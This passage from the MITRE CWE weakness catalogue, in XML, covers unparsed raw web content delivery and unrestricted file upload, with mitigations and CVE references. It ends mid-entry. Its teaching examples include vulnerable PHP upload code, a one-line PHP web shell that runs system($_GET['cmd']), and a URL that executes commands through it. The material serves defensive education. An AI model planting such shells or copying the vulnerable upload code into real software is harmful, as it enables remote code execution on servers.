						another signal before the first handler has completed execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>887</Relationship_Target_ID>
					          <!--SFP Cluster: API-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Turn off dangerous handlers when performing sensitive
							operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Mask signals handled by noninterruptible signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG00-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Dangerous handler not cleared/disabled during sensitive
						operations</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description, Name,
						Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Dangerous Handler not
						Cleared/Disabled During Sensitive Operations</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Dangerous Handler not
						Disabled During Sensitive Operations</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="433" Name="Unparsed Raw Web Content Delivery" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software stores raw content or supporting code under the
					web document root with an extension that is not specifically handled by the
					server.</Description_Summary>
				        <Extended_Description>
					          <Text>If code is stored in a file with an extension such as ".inc" or ".pl", and
						the web server does not have a handler for that extension, then the server
						will likely send the contents of the file directly to the requester without
						the pre-processing that was expected. When that file contains sensitive
						information such as database credentials, this may allow the attacker to
						compromise the application or associated components.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>219</Relationship_Target_ID>
					          <!--Sensitive Data Under Web Root-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This overlaps direct requests (CWE-425), alternate path (CWE-424),
						permissions (CWE-275), and sensitive file under web root (CWE-219).</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform a type check before interpreting files.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not store sensitive information in files which may be
							misinterpreted.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-104">
					          <Intro_Text>The following code uses an include file to store database
						credentials:</Intro_Text>
					          <Example_Body>
						            <Text>database.inc</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>&lt;?php</Code>
							              <Code>$dbName = 'usersDB';</Code>
							              <Code>$dbPassword = 'skjdh#67nkjd3$3$';</Code>
							              <Code>?&gt;</Code>
						            </Block>
						            <Text>login.php</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>&lt;?php</Code>
							              <Code>include('database.inc');</Code>
							              <Code>$db = connectToDB($dbName, $dbPassword);</Code>
							              <Code>$db.authenticateUser($username, $password);</Code>
							              <Code>?&gt;</Code>
						            </Block>
						            <Text>If the server does not have an explicit handler set for .inc files it
							may send the contents of database.inc to an attacker without
							pre-processing, if the attacker requests the file directly. This will
							expose the database name and password.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1886</Observed_Example_Reference>
					          <Observed_Example_Description>".inc" file stored under web document root and
						returned unparsed by the server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2065</Observed_Example_Reference>
					          <Observed_Example_Description>".inc" file stored under web document root and
						returned unparsed by the server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2029</Observed_Example_Reference>
					          <Observed_Example_Description>".inc" file stored under web document root and
						returned unparsed by the server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>SECUNIA:11394</Observed_Example_Reference>
					          <Observed_Example_Description>".inc" file stored under web document root and
						returned unparsed by the server</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0330</Observed_Example_Reference>
					          <Observed_Example_Description>direct request to .pl file leaves it
						unparsed</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0614</Observed_Example_Reference>
					          <Observed_Example_Description>.inc file</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2353</Observed_Example_Reference>
					          <Observed_Example_Description>unparsed config.conf
						file</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-3365</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: uppercase file extensions causes web server
						to return script source code instead of executing the
						script.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "File Handlers", Page 74.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unparsed Raw Web Content Delivery</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="434" Name="Unrestricted Upload of File with Dangerous Type" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software allows the attacker to upload or transfer files of
					dangerous types that can be automatically processed within the product's
					environment.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>429</Relationship_Target_ID>
					          <!--Handler Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>351</Relationship_Target_ID>
					          <!--Insufficient Type Distinction-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>436</Relationship_Target_ID>
					          <!--Interpretation Conflict-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>430</Relationship_Target_ID>
					          <!--Deployment of Wrong Handler-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>714</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A3 - Malicious File Execution-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This can have a chaining relationship with incomplete blacklist /
						permissive whitelist errors when the product tries, but fails, to properly
						limit which types of files are allowed (CWE-183, CWE-184).</Text>
					          <Text>This can also overlap multiple interpretation errors for intermediaries,
						e.g. anti-virus products that do not remove or quarantine attachments with
						certain file extensions that can be processed by client systems.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
					          <Ordinality_Description>
						            <Text> This can be primary when there is no check at all. </Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
					          <Ordinality_Description>
						            <Text>This is frequently resultant when use of double extensions (e.g.
							".php.gif") bypasses a sanity check.</Text>
						            <Text> This can be resultant from client-side enforcement (CWE-602); some
							products will include web script in web clients to check the filename,
							without verifying on the server side.</Text>
					          </Ordinality_Description>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Prevalence="Sometimes" Language_Name="ASP.NET"/>
					          <Language Prevalence="Often" Language_Name="PHP"/>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Web-based"/>
				        </Architectural_Paradigms>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Sometimes"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Unrestricted File Upload</Term>
					          <Alternate_Term_Description>
						            <Text>The "unrestricted file upload" term is used in vulnerability databases
							and elsewhere, but it is insufficiently precise. The phrase could be
							interpreted as the lack of restrictions on the size or number of
							uploaded files, which is a resource consumption issue.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> Arbitrary code execution is possible if an uploaded file is
							interpreted and executed as code by the recipient. This is especially
							true for .asp and .php extensions uploaded to web servers because these
							file types are often treated as automatically executable, even when file
							system permissions do not specify execution. For example, in Unix
							environments, programs typically cannot run unless the execute bit is
							set, but PHP programs may be executed by the web server without directly
							invoking them on the operating system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Generate a new, unique filename for an uploaded file instead of using
							the user-supplied filename, so that no external input is used at
							all.[R.434.1] [R.434.2]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider storing the uploaded files outside of the web document root
							entirely. Then, use other mechanisms to deliver the files dynamically.
							[R.434.2]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>For example, limiting filenames to alphanumeric characters can help to
							restrict the introduction of unintended file extensions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Define a very limited set of allowable extensions and only generate
							filenames that end in these extensions. Consider the possibility of XSS
							(CWE-79) before allowing .html or .htm file types.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Ensure that only one extension is used in the filename. Some web
							servers, including some versions of Apache, may process files based on
							inner extensions so that "filename.php.gif" is fed to the PHP
							interpreter.[R.434.1] [R.434.2]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When running on a web server that supports case-insensitive filenames,
							perform case-insensitive evaluations of the extensions that are
							provided.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not rely exclusively on sanity checks of file contents to ensure
							that the file is of the expected type and size. It may be possible for
							an attacker to hide code in some file segments that will still be
							executed by the server. For example, GIF images may contain a free-form
							comments field.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not rely exclusively on the MIME content type or filename attribute
							when determining how to render a file. Validating the MIME content type
							and ensuring that it matches the extension is only a partial
							solution.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.434.4]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code intends to allow a user to upload a picture to
						the web server. The HTML code that drives the form on the user end has an
						input field of type "file".</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="upload_picture.php" method="post"
								enctype="multipart/form-data"&gt;</Code>
							              <Code/>
							              <Code>Choose a file to upload: </Code>
							              <Code>&lt;input type="file" name="filename"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit"
								value="Submit"/&gt;</Code>
							              <Code/>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>Once submitted, the form above sends the file to upload_picture.php on
							the web server. PHP stores the file in a temporary location until it is
							retrieved (or discarded) by the server side code. In this example, the
							file is moved to a more permanent pictures/ directory. </Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment>// Define the target location where the picture being</Comment>
							              <Comment>// uploaded is going to be saved. </Comment>
							              <Code>$target = "pictures/" . basename($_FILES['uploadedfile']['name']); </Code>
							              <Code/>
							              <Comment>// Move the uploaded file to the new location.</Comment>
							              <Code>if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],
								$target))</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>echo "The picture has been successfully uploaded.";</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>echo "There was an error uploading the picture, please try
									again.";</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The problem with the above code is that there is no check regarding
							type of file being uploaded. Assuming that pictures/ is available in the
							web document root, an attacker could upload a file with the name:</Text>
						            <Block Block_Nature="Attack">
							              <Code>malicious.php</Code>
						            </Block>
						            <Text>Since this filename ends in ".php" it can be executed by the web
							server. In the contents of this uploaded file, the attacker could use: </Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>&lt;?php</Code>
							              <Block>
								                <Code>system($_GET['cmd']);</Code>
							              </Block>
							              <Code>?&gt;</Code>
						            </Block>
						            <Text>Once this file has been installed, the attacker can enter arbitrary
							commands to execute using a URL such as:</Text>
						            <Block Block_Nature="Attack">
							              <Code>http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</Code>
						            </Block>
						            <Text>which runs the "ls -l" command - or any other type of command that the
							attacker wants to specify.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-22">
					          <Intro_Text>The following code demonstrates the unrestricted upload of a file
						with a Java servlet and a path traversal vulnerability. The HTML code is the
						same as in the previous example with the action attribute of the form
						sending the upload file request to the Java servlet instead of the PHP
						code.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="FileUploadServlet" method="post"
								enctype="multipart/form-data"&gt;</Code>
							              <Code/>
							              <Code>Choose a file to upload: </Code>
							              <Code>&lt;input type="file" name="filename"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit"
								value="Submit"/&gt;</Code>
							              <Code/>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>When submitted the Java servlet's doPost method will receive the
							request, extract the name of the file from the Http request header, read
							the file contents from the request and output the file to the local
							upload directory.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
